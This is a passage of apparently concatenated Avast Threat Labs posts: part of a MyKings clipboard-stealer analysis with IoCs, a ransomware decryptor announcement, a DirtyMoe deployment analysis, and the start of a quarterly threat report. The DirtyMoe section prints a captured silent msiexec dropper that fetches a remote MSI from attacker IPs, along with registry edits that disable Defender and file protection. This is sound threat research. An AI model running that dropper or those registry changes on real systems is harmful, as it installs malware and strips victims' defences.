((https://steamcommunit))(?!.*id|.*id)(([a-zA-Z0-9.-]+.[a-zA-Z]{2,4})|([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}))(/[a-zA-Z0-9%:/-_?.',27h,'~&]*)?

This kind of expression is supposed to match Steam trade offer links. Users on the Steam platform can create trade offers to trade what are usually in-game items from their inventory with other users. The value of the items that can be traded starts at only a few cents, but the most expensive items are being sold for hundreds or thousands dollars.

The clipboard stealer manipulates the trade offer URL and changes the receiving side, so Steam users send their items to someone completely unknown. The exchanged link then looks like this one:
https://steamcommunity[.]com/tradeoffer/new/?partner=121845838&token=advSgAXy

In total we were able to extract 14 different Steam trade offer links that appeared in almost 200 samples. These links lead us to 14 Steam accounts — some of which were banned and some had set privacy restrictions — but among the working public accounts we were able to find information that assured us that these frauds happened. An example is this is an account which was bound to the trade offer link listed above:
https://steamcommunity.com/id/rosher

After checking the comments section of this account, we could see multiple people getting angry and curious as to why their trade offer links are getting changed. Even though some people noticed the change in the trade offer link, we suppose that some trades were completed. We were not able to estimate how much money could have been stolen through this technique.

Translation of comments:

1. 9 Oct, 2020 @ 7:47 pm why is my trade link changing to yours?
2. 21 Jul, 2020 @ 2:16 pm Th for the garbage with a trade link !!! ???
3. 27 Jun, 2020 @ 5:05 am what a fagot what did you do with the link

3.3.2 Fake Yandex Disk links 

Another functionality is related to the regular expression:
((https://yad))+(([a-zA-Z0-9.-]+.[a-zA-Z]{2,4})|([0-9]{1,3}.[0-9]

This regular expression matches links to Yandex Disk storage. Yandex Disk is a cloud service created by multinational Russian company Yandex and can be used similarly as Google Drive or Dropbox for sharing files.

The objective of this technique is to match links that users are sending to their friends and family to share files or photos. If the malware runs on the sender’s machine, the infected victim is sending wrong links to all their acquaintances. If the malware runs on the machine of the user that receives the link and copy/pastes it to the browser address bar, the victim again opens a wrong link. In both cases, the wrong link gets opened by someone unaware that the content is wrong. In both cases, the victim downloads files from that link and opens them, because there is no reason to not trust the files received from someone they know.

From the set of analyzed samples, we extracted following 4 links to Yandex Disk storage:

1. https://yadi[.]sk/d/cQrSKI0591KwOg
2. https://yadi[.]sk/d/NGyR4jFCNjycVA
3. https://yadi[.]sk/d/zCbAMw973ZQ5t3
4. https://yadi[.]sk/d/ZY1Qw7RRCfLMoQ

All of the links contain packed archives in a .rar or .zip format, protected with a password. The password is usually written in the name of the file. As you can see on the image below, the file is named, for example, as “photos,” with the password 5555.

4. Conclusion

In this first part of the blog series, we focused on the MyKings clipboard stealer module, going through the attribution chain and uncovering the amounts of money that attackers were able to obtain along the way. The clipboard stealer also focuses on frauds regarding Steam trade offers and Yandex Disk file sharing, distributing further malware to unaware victims.

In the next part of this blog series, we will go down the rabbit hole — exploring the contents of one of the downloaded payloads and providing you with an analysis of the malware inside. Don’t miss it!

Indicators of Compromise (IoC)

SHA256 hashes

0390b466a8af2405dc269fd58fe2e3f34c3219464dcf3d06c64d01e07821cd7a

0cdef01e74acd5bbfb496f4fad5357266dabb2c457bc3dc267ffad6457847ad4

2aaf1abeaeeed79e53cb438c3bf6795c7c79e256e1f35e2a903c6e92cee05010

5ae5ff335c88a96527426b9d00767052a3cba3c3493a1fa37286d4719851c45c

b9c7cb2ebf3c5ffba6fdeea0379ced4af04a7c9a0760f76c5f075ded295c5ce2

d2e8b77fe0ddb96c4d52a34f9498dc7dd885c7b11b8745b78f3f6beaeec8e191

f778ca041cd10a67c9110fb20c5b85749d01af82533cc0429a7eb9badc45345c

Also in our GitHub.

Mutexes

Windows 7 Professional02

Windows 7 Ultimate02

Windows 10 Enterprise02

Windows 10 Pro02

Windows XP02

Also in our GitHub.

C&C and logging servers

http://2no[.]co/1ajz97

http://2no[.]co/1aMC97

http://2no[.]co/1Lan77

http://ioad[.]pw/ioad.exe

http://ioad[.]pw/v.sct

http://iplogger[.]co/1h9PN6.html

http://iplogger[.]org/1aMC97

http://kr1s[.]ru/doc.dat

http://kr1s[.]ru/java.dat

http://kr1s[.]ru/tess.html

http://u.f321y[.]com/buff2.dat

http://u.f321y[.]com/dhelper.dat

http://u.f321y[.]com/oneplus.dat

http://u.f321y[.]com/tess.html

http://u.f321y[.]com/VID.dat

http://zcop[]].ru/java12.dat

Complete list in our GitHub.

Appendix

Yandex disk links

https://disk[.]yandex.ru/d/NGyR4jFCNjycVA

Complete list in our GitHub.

Steam trade offer links

https://steamcommunity[.]com/tradeoffer/new/?partner=121845838&token=advSgAXy

Complete list in our GitHub.

Wallet addresses

0x039fd537a61e4a7f28e43740fe29ac84443366f6

0x6a1A2C1081310a237Cd328B5d7e702CB80Bd2078

12cZKjNqqxcFovghD5N7fgPNMLFZeLZc3u

16G1hnVBhfrncLe71SH3mr19LBcRrkyewF

22UapTiJgyuiWg2FCGrSsEEEpV7NLsHaHBFyCZD8nc1c9DEPa5JrELQFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97r43pZs

3PAFMSCjWpf5WDxkkECMmwqkZGHySgpuzEo

41xDYg86Zug9dwbJ3ysuyWMF7R6Un2Ko84TNfiCW7xghhbKZV6jh8Q7hJoncnLayLVDwpzbPQPi62bvPqe6jJouHAsGNkg2

7117094708328086084L

AKY1itrWtsmziQhg2THDcR3oJhXsVLRxM7

AXnqKf2Pz6n9pjYfm2hrekzUNRooggjGpr

D6nziu2uAoiWvdjRYRPH7kedgzh56Xkjjv

DAsKfjhtVYnJQ7GTjwPAJMRzCtQ1G36Cyk

DdzFFzCqrht9wkicvUx4Hc4W9gjCbx1sjsWAie5zLHo2K2R42y2zvA7W9S9dM9bCHE7xtpNriy1EpE5xwv7mPuSjhP4FyB9Z1ra6Ge3y

EVRzjX4wpeb9Ys6i1LFcZyTkEQvV9Eo2Wk

GBJOA4BNCXBSYG3ZVU2GXNOOA2JJLCG4JIVNEINHQIZNVMX4SSH5LLK7

LbAKQZutpqA9Lef6UGJ2rRMJkiq7fx7h9z

LUfdGb4pCzTAq9wucRpZZgCF69QHpAgvfE

QNkbMtCmWSCFS1U63PcAxhKufLvEwSsJ8t

qrfdnklvpgmh94dycdsp68qd6nf9fk8vlsr24n2mcp

QrKfx3qsqaMQUVHx8yAd1aTHHRdjP6Tg

qz45uawuzuf0fa3ldalh32z86nkk850e0qcpnf6yye

rNoeET6PH5dkf1VVvuUc2eZYap9yDZiKTm

SPLfNnmUdqmYu1FH2qMcGiU7P8Mwf9Z3Kr

t1JjREG9k58srT42KitRp3GyMBm2x4B889o

t1Suv1nezoZVk98LHu4tRxQ6xgofxQwi54h

VhGTEsM6ewqNBJwDEB2o6bHvRqFdGqu5HM

XdxsHPrsJvsDze4CQkMVVgsuqrHqys791e

Xup4gBGLZLDi9J9VbcLuRHGKDXaUjwMoZV

Complete list in our GitHub.

Scripts

Script for querying amounts transferred through wallet addresses can be found in our GitHub.

The post The King is Dead, Long Live MyKings! (Part 1 of 2) appeared first on Avast Threat Labs.

On Oct 17, 2021, Jiří Vinopal published information about a weakness in the AtomSilo ransomware and that it is possible to decrypt files without paying the ransom. Slightly later, he also analyzed another ransomware strain, LockFile. We prepared our very own free Avast decryptor for both the AtomSilo and LockFile strains.

Limitation of the decryptor

During the decryption process, the Avast AtomSilo decryptor relies on a known file format in order to verify that the file was successfully decrypted. For that reason, some files may not be decrypted. This can  include files with proprietary or unknown format, or with no format at all, such as text files.

How AtomSilo and LockFile Work

Both the AtomSilo and LockFile ransomware strains are very similar to each other and except for minor differences, this description covers both of them. 

AtomSilo ransomware searches local drives using a fixed drive list, whilst LockFile calls GetLogicalDriveStringsA() and processes all drives that are fixed drives.

A separate thread is created for each drive in the list. This thread recursively searches the given logical drive and encrypts files found on it. To prevent paralyzing the compromised PC entirely, AtomSilo has a list of folders, file names and file types that are left unencrypted which are listed here:

Excluded folders
Boot	Windows	Windows.old	Tor Browser
Internet Explorer	Google	Opera	Opera Software
Mozilla	Mozilla Firefox	$Recycle.Bin	ProgramData
All Users

Excluded files
autorun.inf	index.html	boot.ini	bootfont.bin
bootsect.bak	bootmgr	bootmgr.efi	bootmgfw.efi
desktop.ini	iconcache.db	ntldr	ntuser.dat
ntuser.dat.log	ntuser.ini	thumbs.db	#recycle

Excluded extensions
.hta	.html	.exe	.dll	.cpl	.ini
.cab	.cur	.cpl	.drv	.hlp	.icl
.icns	.ico	.idx	.sys	.spl	.ocx

LockFile avoids files and folders, containing those sub-strings:

Excluded sub-strings
Windows	NTUSER	LOCKFILE	.lockfile

In addition to that, there is a list of 788 file types (extensions), which won’t be encrypted. Those include .exe, but also .jpg, .bmp and .gif. You may noticed that some of them are included repeatedly.

The ransomware generates RSA-4096 session keypair for each victim. Its private part is then stored in the ransom note file, encrypted by the master RSA key (hardcoded in the binary). A new AES-256 file key is generated for each file. This key is then encrypted by the session RSA key and stored at the end of the encrypted file, together with original file size. 

Each encrypted file contains a ransom note file with one of the names:

• README-FILE-%ComputerName%-%TimeStamp%.hta
• LOCKFILE-FILE-%ComputerName%-%TimeStamp%.hta

Encrypted files can be recognized by the .ATOMSILO or .lockfile extension: 

When the encryption process is complete, the ransom note is shown to the user. Each strain’s ransom note has its own look:

How to use the Decryptor

To decrypt your files, please, follow these steps:

1. Download the free decryptor. The single EXE file covers both ransomware strains.
2. Simply run the EXE. It starts in form of wizard, which leads you through configuration of the decryption process.
3. On the initial page, you can see a list of credits. Simply click “Next”
   

4. On the next page, select the list of locations which you want to be decrypted. By default, it contains a list of all local drives.

5. On the third page, you can select whether you want to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins.

6. Let the decryptor work and wait until it finishes.

Credits

We would like to thank Jiří Vinopal for sharing analysis of both ransomware strains.

IOCs

SHA	filename
d9f7bb98ad01c4775ec71ec66f5546de131735e6dba8122474cc6eb62320e47b	.ATOMSILO
bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce	.lockfile

The post Avast releases decryptor for AtomSilo and LockFile ransomware appeared first on Avast Threat Labs.

Abstract

In the first article, we have described a complex malware, called DirtyMoe, from a high-level point of view. Most of the captured samples were MSI Installer packages which were delivered onto a victim’s machine by the PurpleFox exploit kit. So in the fourth part of the DirtyMoe series, we will focus on DirtyMoe’s deployment and how DirtyMoe tackles various issues with different versions of Windows.

To understand what the MSI package executes on the victim’s machine, we have analyzed the MSI package in terms of registry and file manipulations, installer’s arguments, and post-reboot operations. We have also tried to put these actions into the context to determine the purpose of its individual actions in DirtyMoe’s deployment.

The DirtyMoe’s MSI installer abuses the Windows System Event Notification Service (SENS) to deploy DirtyMoe. The main goal of the MSI installer is to replace the system DLL file of SENS with a malicious payload and execute the payload as a legitimate service. Another essential point is configuring the anti-detection methods to keep DirtyMoe under the radar.

The DirtyMoe malware requires different locations of installed files and registry entries for each Windows version that the malware targets. Since the MSI Installer provides a convenient way to install arbitrary software across versions of Windows, its usage seems like a logical choice.

1. Scope

We have recorded two versions of MSI installer packages distributing DirtyMoe. Both versions perform very similar actions for the successful DirtyMoe deployment. The main difference is the delivery of malicious files via a CAB file. The older version of the MSI package includes the CAB file directly in the package, while the newer version requires the CAB file in the same location as the package itself.

The effect of the separate CAB file easily allows managing payloads that need to be deployed. Further, it reduces the size of the primary exploit payload because the CAB file can be downloaded after successful exploitations.

1.1 All in One Package (older version)

The example of the all in one package is a sample with SHA-256:
5ef702036c5c3aa2d0b6d8650e20b2c5f55776c69eebf8c700f1770b56a35c35

The package details follow:

• Product Name: FONDQXIMSYHLISNDBCFPGGQDFFXNKBARIRJH
• Product Version: 2.0.0.0
• Product Code: {80395032-1630-4C4B-A997-0A7CCB72C75B}
• Install Condition:
  • is Windows NT (cannot be installed on Windows 9x/ME)
  • is not Windows XP SP2 x64 or Windows Server 2003 SP2 x64
  • is not Windows XP/2003 RTM, Windows XP/2003 SP1, Windows XP SP2 x86
  • is not Windows NT 4.0
  • is not Windows 2000
  • not exist SOFTWARE\SoundResearch\UpdaterLastTimeChecked3 with value 3
• File Size: 2.36 MB

1.2 Excluded Data Package (newer version)

The newer version of the MSI package consists of two parts. The first part is the MSI package itself and the separate CAB file containing the malicious payloads. The MSI package refers to one of the following CAB files: M0011.cab, M0021.cab, M0031.cab, , M0041.cab, M0051.cab, M0061.cab , M0071.cab . The CAB file contains three malicious files, but only one file (sysupdate.log) is different for each CAB file. Detailed information about the file manipulation is described in Section 3.

The example of the newer MSI package is a sample with SHA-256:
1233cc0b8f77213a229e64c6aa0e08bd18e075879734a18512b1990b6408764f

The package details follow:

• Product Name: CTH3VNU8KZHDXY6YYCF9YV8OXGPW3P2APZPL
• Product Version: 2.0.0.0
• Product Code: {80395032-1630-4C4B-A997-0A7CCB72C75B}
• Install Condition:
  • is Windows NT (cannot be installed on Windows 9x/ME)
  • is not Windows XP SP2 x64 or Windows Server 2003 SP2 x64
  • is not Windows XP/2003 RTM, Windows XP/2003 SP1, Windows XP SP2 x86
  • is not Windows NT 4.0
  • is not Windows 2000
  • not exist HKLM\SOFTWARE\Microsoft\DirectPlay8\Direct3D
  • not exist HKCU\SOFTWARE\7-Zip\StayOnTop
• File Size: 1.020 MB

Note: The product name is usually different for each .msi file. It is a random string composed of capital letters of length 36. The product code has so far been observed with the same value.

2. Registry Manipulation

The malware authors prepare a victim environment to a proper state via the MSI installer. They focus on disabling anti-spyware and file protection features. Additionally, the MSI package uses one system configuration to bypass Windows File Protection (WFP) to overwrite protected files despite the fact that WFP should prevent replacing critical Windows system files [1].

There are several registry manipulations during MSI installation, though we will describe only the most crucial registry entries.

2.1 Mutex

UpdaterLastTimeChecked
HKEY_LOCAL_MACHINE\SOFTWARE\SoundResearch\UpdaterLastTimeChecked[1-3]
One of the malware registry entries is UpdaterLastTimeChecked[x], where x signifies how many times the MSI installer has been run. Each MSI installation of the package creates one entry. If UpdaterLastTimeChecked3 is present, the following package installation is not allowed. It is applicable only for the older version of the MSI package.

StayOnTop
HKEY_CURRENT_USER\SOFTWARE\7-Zip\StayOnTop = 1
This registry manipulation is related only to the newer version. 7-Zip software does not support the stay on top feature. Therefore, it can be assumed that this registry entry serves as a flag that the installer package has been successfully run. SentinelLabs has published evidence that the presentence of this value indicates that a victim computer has been compromised by PurpleFox [2].

Direct3D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectPlay8\Direct3D
An active instance of the DirtyMoe malware stores settings and meta-data in this registry entry in an encrypted form. Therefore, if this entry is present in the system registry, the MSI installation is aborted.

2.2 Anti-Detection

DisableAntiSpyware
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = 1
Microsoft Defender Antivirus can be disabled by the DisableAntiSpyware registry key set to 1. So, if the system has no 3^rd party antivirus product, the system is without protection against malicious software, including spyware [3].

SFCDisable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable = 4
Windows File Protection (WFP) prevents non-system applications from replacing critical Windows system files that can cause problems with the operating system integrity and stability. WFP is typically enabled by default in all versions of Windows [4].

Naturally, DirtyMoe wants to avoid a situation where WFP detects any manipulation with the system files. Therefore, the SFCDisable value is set to four, enabling WFP, but every WFP action is not pop-upped by GUI. The effect is that WFP is enabled, so no system alerts are invoked, but WFP warning is hidden for users. This is applicable only for Windows XP.

SFCScan
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCScan = 0
The System File Checker (SFC) provides the ability to scan system-protected files. SFC verifies file versions, and if it detects any file manipulation, SFC updates files to the correct version. This registry manipulation contributes to disabling SFC protecting the abused Windows service. This setup affects only file scanning, but WFP can still be active.

SvcHostSplitThresholdInKB
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SvcHostSplitThresholdInKB = 0xFFFFFFFF
The crucial registry manipulation controls the system startup and some aspects of device configuration. To understand the primary purpose of the SvcHostSplitThresholdInKB registry entry, we must describe the historical development of Windows services and a generic host process.

In most cases, Windows services are run from dynamic-link libraries that Windows executes via the generic host process (svchost.exe). The hosted process can load more services (DLLs) as threads within one process. This is a historical relict from the times of Windows XP where system memory used to be a scarce commodity. The system used a few service host processes that hosted all Windows services, represented by DLL files, as the process creation and maintenance were expensive in terms of the system memory.

Figure 1 illustrates the example of run services and detailed information about the biggest host service process. Windows XP created 5 host processes grouped according to their purposes, such as LocalService, NetworkService, and System. PID 1016 is the biggest process in point of the memory usage view since this process hosts approx. 20 services. This approach saved the memory but made the system more unstable because if one of the services crashed, the entire service chain hosted by the same process was killed.

Nowadays, there is no reason to group services within a few processes, and the resulting positive effects are increased system stability and security, as well as easier error analysis. Services now usually no longer share processes; mini-programs for providing system functions have an exclusive memory location. And if the svchost.exe process crashes, it no longer drags the entire service chain with it [5].

Windows 10 has come with a threshold value (SvcHostSplitThresholdInKB), determining when services shall be created as a regular process. The default value is 380,000, so the grouping service model is used if the system has less than 3.5 GB of memory. In other words, the increasing threshold value can reduce the amount of the host processes, and therefore it determines if the service processes are split.

Let’s give an example for Windows 10, if the value is set to 1, the number of host processes is approx. 70. And the threshold value equal to maximum (0xFFFFFFFF) causes that number of host processes to be only 26.

It is now understood that the maximum value of SvcHostSplitThresholdInKB can hide details about run processes. Therefore, the malware author set the threshold value to the maximum to hide the malicious service activity in threads. As a consequence, the malicious service is run within one host process in one of its threads. Accordingly, tracking and forensic analysis are made more difficult since the svchost process hosts many other services, and it is hard to assign system activities to the malware service.

2.3 Payload Delivery

SMBDeviceEnabled
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled = 0
In order to prevent deployment of other malware via EternalBlue exploit [6], the MSI installer disables SMB sharing, effectively closing port 445 on Windows XP.

AllowProtectedRenames and PendingFileRenameOperations
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AllowProtectedRenames
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
These registry entries are also related to WFP and therefore are crucial for the malicious code’s deployment to the victim machine. The principle is the same as in the MoveFileEx function with MOVEFILE_DELAY_UNTIL_REBOOT flag [7]. In other words, the MSI installer defines which file will be moved or deleted after reboot via the Session Manager Subsystem (SMSS) [8].

The malware authors abuse two system files, sens.dll for Windows Vista and newer, and cscdll.dll for Windows XP, see Section 3. Consequently, the SMSS replaces the critical system file with the malicious ones after the system reboot.

An example of the PendingFileRenameOperations value for Windows 7 32bit is as follows:

\??\C:\Windows\AppPatch\Acpsens.dll

\??\C:\Windows\system32\sens.dll
\??\C:\Windows\AppPatch\Acpsens.dll
\??\C:\Windows\system32\sens.dll

\??\C:\Windows\winupdate32.log
\??\C:\Windows\system32\sens.dll
\??\C:\Windows\AppPatch\Ke583427.xsl

\??\C:\Windows\sysupdate.log
\??\C:\Windows\AppPatch\Ke583427.xsl

3. File Manipulation

DirtyMoe misuses the system services, precisely service DLL files, that are protected and which handlers are open, so replacing these files is not possible without the system reboot. Therefore, the first phase of the file manipulation is to extract payloads from the CAB file, and the second phase replaces the service DLL files with the extracted CAB files.

3.1 File Extraction

The CAB file usually contains three payload files.

• winupdate32.log and winupdate64.log are malicious DLLs representing the DirtyMoe service.
• sysupdate.log is an encrypted executable file that contains the default DirtyMoe module injected by the DirtyMoe service.

The MSI installer extracts and copies payloads from the CAB file into defined destinations if an appropriate condition is met, as the following table summarizes.

File	Destination	Condition
sysupdate.log	%windir%	None
winupdate32.log	%windir%	NOT VersionNT64
winupdate64.log	%windir%	VersionNT64

If the required files are extracted into the proper destination, the MSI installer ends and waits silently for the system to reboot. The next actions are performed by the SMSS.

3.2 File Replacement

The Session Manager Subsystem (SMSS) ensures replacing abused system files that are system-protected with the malicious ones based on PendingFileRenameOperations registry entry; see Section 2.3. In fact, the MSI installer invokes a post-reboot file manipulation based on a Windows version as follows:

Windows XP

• Delete (if exist) %windir%\\AppPatch\\Acpcscdll.dll
• Move %windir%\\system32\\cscdll.dll to %windir%\\AppPatch\\Acpcscdll.dll
• Move %windir%\\winupdate32.log to %windir%\\system32\\cscdll.dll
• Delete (if exist) %windir%\\AppPatch\\Ke583427.xsl
• Move %windir%\\sysupdate.log to %windir%\\AppPatch\\Ke583427.xsl

Windows Vista and newer

• Delete (if exist) %windir%\\AppPatch\\Acpsens.dll
• Move %windir%\\system32\\sens.dll to %windir%\\AppPatch\\Acpsens.dll
• Move %windir%\\winupdate64.log to %windir%\\system32\\sens.dll
• Delete (if exist) %windir%\\AppPatch\\Ke583427.xsl
• Move %windir%\\sysupdate.log to %windir%\\AppPatch\\Ke583427.xsl

The difference between Windows XP and Windows Vista and newer is an exploit of a hosting service. Windows XP uses Offline Network Agent (cscdll.dll) loaded by winlogon.exe under NT AUTHORITY\SYSTEM privileges. Windows Vista and newer provide System Event Notification Service (sens.dll) also run under SYSTEM. The Ke583427.xsl file is a default DirtyMoe module that is encrypted.

In short, the post-reboot operation slips DirtyMoe DLL into the system folder under the service name that is registered legitimately in the system. Replacement of such system files is possible because it is completed by SMSS, which is the first user-mode process started by the kernel. For that reason no handlers are created to the system DLL, and WFP is not also run yet. Finally, the malware represented by the slipped malicious DLL is started with system-level privileges since the abused service is registered as the legitimate service in Windows.

4. Deployment Workflow

If the PurpleFox successfully exploits a victim’s machine, the MSI installer package is run with administrator privileges. The MSI installer provides several options on how to install software silently, and therefore no user interaction is required. Although the system restart is necessary to apply all changes, the MSI installer also supports delayed restart; therefore, the user does not detect any suspicious symptoms. The installer only waits for the next system restart.

An example of how to run installation silently via MSI installer:
msiexec.exe /i <dirtymoe.msi> /qn /norestart; where /qn sets UI level to no UI.

We have captured a specific example of how the MSI installer is run after the successful system exploit.
Cmd /c for /d %i in (60.164.191.22:19400 185.51.201.102:19836 203.128.6.130:12315 58.220.24.47:13384 155.138.159.232:17445) do Msiexec /i http:\%i\0BC8EC41.moe \Q

This dropper iterates five IP addresses that are different for each minute, including ports; see Section 2 of the first part of DirtyMoe series. The MSI installer is run for each IP address with parameter \Q, so if the requested remote location is not available or the MSI file does not exist, the installer does not inform the user about the error. The deployment process then runs silently in the background.

The MSI installer sets the system registry defined in Section 2 and copies malicious files to the Windows folder, see Section 3. The subsequent system restart will arrange the code execution of the malicious DLL containing ServiceMain, which Windows starts as the SENS service. Given the complexity of the malicious service, we will return to its detailed description in the following blog post.

Usually, the MSI installer caches installation files in C:\Windows\Installer for future use, such as updating, reinstalling, etc. However, DirtyMoe does not keep the .msi backup file. The installer just creates a hash file about the malware installation. The filename has the form SourceHash{<Product Code>}. The file contains the name of the MSI source package. The most prevalent GUID is equal to: {80395032-1630-4C4B-A997-0A7CCB72C75B}

The MSI Installer Rollback Script cannot remove the malware since deployed files are moved by the SMSS and are out of the MSI Installer scope.

The whole deployment workflow is illustrated in Figure 2.

5. Conclusion

We have introduced the deployment process of the DirtyMoe malware via the MSI Installer that presents an easy way of supporting multiple configurations for various Windows versions. The MSI installer prepares all necessary files and configuration for successful deployment of the malware and also cleans up backup and cache files. However, there are a few symptoms that can reveal the DirtyMoe installations.

After the system reboot, Session Manager overwrites the files representing one of the system services by the malicious DLL file. The system then runs an appropriate service and thereby loads the malicious code, including the default DirtyMoe’s object, as the legitimate service.

All these steps deploy and run DirtyMoe on the victim’s machine. In point of the cyber kill chain, detailed information about DirtyMoe service and further installation actions will be introduced in the future article.

References

[1] Description of the Windows File Protection feature
[2] Purple Fox EK
[3] Security Malware Windows Defender
[4] Enable or Disable Windows File Protection
[5] Split Threshold for svchost.exe in Windows 10
[6] EternalBlue
[7] MoveFileExA function (winbase.h)
[8] Pending FileRename Operations

The post DirtyMoe: Deployment appeared first on Avast Threat Labs.

Latest Avast Q3’21 Threat Report reveals elevated risk for ransomware and RAT attacks, rootkits and exploit kits return.

Foreword

The threat landscape is a fascinating environment that is constantly changing and evolving. What was an unshakeable truth for a long time is no longer valid the next day; the most prevalent threats suddenly disappear, but are usually quickly replaced by at least two new ones; or that the bad guys standing behind these threats always come with new techniques when trying to get their profit.

Together with my colleagues, we came to the conclusion that it would be selfish to keep our insight into this landscape just for ourselves so we decided to start with publishing periodic Avast threat reports. Here, we would like to share with you details about emerging threats, stories behind malware strains and their spreading, and of course stats from our 435M+ endpoints telemetry.

So let us start with the Q3 report, and I must say it was a juicy quarter. To give you a sneak peak of the report: My colleagues published details about an ongoing APT campaign targeting the Mongolian certification authority MonPass. Another novel research was the discovery of the Crackonosh crypto stealer that earned more than $2 million USD to its operators. We were also intently monitoring which botnet will replace the previous kingpin Emotet in Q3. Furthermore, there was a rampant spreading of banking trojans on mobile (especially FluBot) and rootkits on Windows almost doubled their activity in September compared to the previous period. And for me, it started on July 2 at night with the Sodinokibi/REvil ransomware supply chain attack on the Kaseya MSP, it abused Microsoft Defender, there was involvement of world leaders, and precise timing (happening during my threat labs duty – respect to all infosec fellows that were dealing with that on this Independence weekend). As I said – it’s a fascinating environment…

Jakub Křoustek, Malware Research Director

Methodology

This report is structured as two main sections – Desktop, informing about our intel from Windows, Linux, and MacOS, and Mobile, where we inform about Android and iOS threats.

Furthermore, we use the term risk ratio in this report for informing about the severity of particular threats, which is calculated as a monthly average of “Number of attacked users / Number of active users in a given country”. Unless stated otherwise, the risk is available just for countries with more than 10,000 active users per month.

Desktop

Advanced Persistent Threats (APTs)

In Q3 of 2021, we saw APT activity on several fronts: continued attacks against Certificate Authorities (CAs), the Gamaredon group targeting military and government targets, and campaigns in Southeast Asia.

Certificate Authorities (CAs) are always of increased interest to APT groups for multiple reasons. By their very nature CAs have a high level of trust, they often provide services to the government organisations or being a part of one themselves, making them a perfect target for supply chain attacks. A well-known example was the targeting of the Vietnam Government Certification Authority in 2020. In Q3 Avast also wrote about activity targeting the Mongolian CA MonPass.

At the very beginning of Q3, Avast researchers discovered and published a story about an installer downloaded from the official website of Monpass, a major certification authority (CA) in Mongolia in East Asia that was backdoored with Cobalt Strike binaries. 

A public web server hosted by Monpass was breached potentially eight separate times: we found eight different webshells and backdoors on this server. The MonPass client available for download from 8 February 2021 until 3 March 20 2021 was backdoored. Adversaries used steganography to decrypt and implant Cobalt Strike beacons.

Additionally during the last few months we’ve seen an increased activity of the Gamaredon group primarily in Ukraine. The main targets of the group remain military and government institutions. The group keeps utilizing old techniques it’s been using for years in addition to a few new tools in their arsenal. Malware associated with Gamaredon was among the most prevalent between APT groups we tracked in this quarter.

Groups operating in Southeast and East Asia were active during this period as well. We’ve seen multiple campaigns in Myanmar, Philippines, Hong Kong and Taiwan. The majority of the actors in the region can be identified as Chinese-speaking groups. Technique of choice among these groups remains sideloading. We’ve seen samples with main functionality to search for potential candidates for sideloading on a victim’s machine, so they are not going to abandon this technique anytime soon.

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher
Michal Salát, Threat Intelligence Director

Bots

Old botnets still haven’t said their last word. After Emotet’s takedown at the start of 2021, Trickbot has been aspiring to become its successor. Moreover, despite numerous takedown attempts, Trickbot is still thriving. Qakbot came up with a rare change in its internal payload which brought restructured resources. As for Ursnif (aka Gozi), the activity in Q3 kept its usual pace – with new webinjects and new builds being continuously released. However, Ursnif’s targets remain largely the same – European, and especially Italian, banks and other financial organisations. Surprisingly, Phorpiex seemed to maintain its presence, even though its source code has been reported to be on sale in August. This is especially true for Afghanistan, Turkmenistan, and Yemen where Phorpiex is especially prolific, significantly contributing to their above-average risk ratio.

Below is a heatmap showing the distribution of botnets that we observed in Q3 2021.

The IoT and Linux bot landscape is a wild west, as usual. We are still seeing many Gafgyt and Mirai samples trying to exploit their way onto various devices. The trend of these families borrowing the code from each other still continues, so while we sometimes see samples being worthy of being called a new strain, many samples continue to blur the line between Gafgyt and Mirai strains. We expect this trend to continue – both strains have their source code available, and the demand for DDoS does not lessen. Due to their popularity, the source code is also often used by technically less proficient adversaries, partially explaining the latter trend of code reuse.

Q3’s surprise has been the MyKings botnet which has had quite a profitable campaign. Their cryptoswapper campaign has managed to amass approximately 25 million dollars in Bitcoin, Ethereum and Dogecoin.

Changes in malware distribution methods

In Q3 2021, we saw a shift in bot and RAT distribution. Threat actors are finding new ways of abusing third party infrastructure. While we have previously seen various cloud storages (e.g. OneDrive) or Pastebin, we are also seeing more creative means such as Google’s feedproxy.google.com for C&C URLs or Discord’s CDN as a distribution channel. This makes it easier for them to avoid reputation services meant to combat malware distribution, though at the cost that their channels may get disrupted by the service provider. Since we’ve already seen communication platforms such as Discord or Telegram being also abused for exfiltration or as C&C, we can expect this trend to spread to other similar automation-friendly services.

Adolf Středa, Malware Researcher 

Infrastructure as a service for malware

It seems that infrastructure as a service for malware and botnets is on the rise by using commodity routers and IoT devices. Threat actors realized that it’s far easier to misuse these devices as a proxy to hide malicious activity than crafting specific malware for such a variety of architectures and devices. It also seems that we are witnessing botnets of enslaved devices being sold as a service to various threat actors. 

In Q2 and Q3, we’ve seen a new campaign dubbed Mēris. This campaign attacked Mikrotik routers, already known to be problematic since 2018, for DDoS attacks against Yandex servers. Further analysis showed that this attack had been just one of the campaigns run through the MikroTik botnet as a service providing anonymizing proxies. It turned out that the botnet consisted of approximately 200K of enslaved devices with an opened SOCKS proxy being ready for hire on darknet forums. It’s believed that this actor has been controlling this botnet since 2018. Moreover, there are ties to Glupteba and coin mining campaigns in 2018. Although most of the botnet has been taken down, the original culprit and vulnerabilities in the Mikrotik routers seem to be still open. The attack vector is notoriously well-known and is common for most of the IoT and router devices: unpatched firmware and default credentials. We’ll inevitably see more of this trend in the future.

Below is a heatmap showing the prevalence of unpatched Mikrotik routers in Q3 2021.

Martin Hron, Malware Researcher

Coinminers

Coinminers are malware that hijacks resources of infected PCs to mine cryptocurrency and send its profit directly to the attacker while the electricity bill is left for the victim. The number of users attacked by coinminers has actually stayed steady or even lowered some in Q3 2021 compared to the beginning of the year as shown below.

